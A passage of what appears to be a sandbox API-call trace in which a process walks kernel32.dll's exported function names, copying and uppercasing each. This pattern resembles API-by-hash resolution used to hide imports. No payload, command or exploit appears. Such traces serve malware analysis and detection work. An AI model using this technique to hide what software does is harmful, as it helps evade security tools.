lpString1=0x2e7f298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0118.583] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0118.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0118.583] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0118.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0118.583] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0118.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0118.583] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0118.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0118.583] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0118.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0118.583] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0118.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0118.583] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0118.584] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0118.584] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0118.584] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0118.584] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0118.584] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0118.584] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0118.584] lstrlenA (lpString="CREATEEVENTA") returned 12 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0118.584] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0118.584] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0118.584] lstrlenA (lpString="CREATEEVENTW") returned 12 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0118.584] lstrlenA (lpString="CREATEFIBER") returned 11 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0118.584] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0118.584] lstrlenA (lpString="CREATEFILE2") returned 11 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0118.584] lstrlenA (lpString="CREATEFILEA") returned 11 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0118.584] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0118.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0118.585] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0118.585] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0118.585] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0118.585] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0118.585] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0118.585] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0118.585] lstrlenA (lpString="CREATEFILEW") returned 11 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0118.585] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0118.585] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0118.585] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0118.585] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0118.585] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0118.585] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0118.585] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0118.585] lstrlenA (lpString="CREATEJOBSET") returned 12 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0118.585] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0118.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0118.586] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0118.586] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0118.586] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0118.586] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0118.586] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0118.586] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0118.586] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0118.586] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0118.586] lstrlenA (lpString="CREATEPIPE") returned 10 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0118.586] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0118.586] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0118.586] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0118.586] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0118.586] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0118.586] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0118.586] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0118.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0118.587] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0118.587] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0118.587] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0118.587] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0118.587] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0118.587] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0118.587] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0118.587] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0118.587] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0118.587] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0118.587] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0118.587] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0118.587] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0118.587] lstrlenA (lpString="CREATETHREAD") returned 12 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0118.587] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0118.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0118.587] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0118.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0118.588] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0118.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0118.588] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0118.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0118.588] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0118.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0118.588] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0118.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0118.588] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0118.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0118.589] RtlExitUserThread (Status=0x0) Thread: id = 142 os_tid = 0xc38 [0084.392] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x3070000 [0084.392] GetTickCount () returned 0x2abd6 [0084.392] lstrlenA (lpString="kernel32.dll") returned 12 [0084.392] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0084.392] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0084.392] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0084.392] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0084.392] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0084.393] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0084.393] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0084.393] lstrlenA (lpString="ADDATOMA") returned 8 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0084.393] lstrlenA (lpString="ADDATOMW") returned 8 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0084.393] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0084.393] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0084.393] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0084.393] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0084.393] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0084.393] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0084.393] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0084.393] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0084.393] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0084.393] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0084.393] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0084.393] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0084.393] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0084.393] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0084.393] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0084.393] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0084.393] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0084.393] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0084.394] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0084.394] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0084.394] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0084.394] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0084.394] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0084.394] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0084.394] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0084.394] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0084.394] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0084.394] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0084.394] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0084.394] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0084.394] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0084.394] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0084.394] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0084.394] lstrlenA (lpString="BACKUPREAD") returned 10 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0084.394] lstrlenA (lpString="BACKUPSEEK") returned 10 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0084.394] lstrlenA (lpString="BACKUPWRITE") returned 11 [0084.394] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0084.395] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0084.395] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0084.395] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0084.395] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0084.395] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0084.395] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0084.395] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0084.395] lstrcpyA (in: lpString1=0x2fdf298, 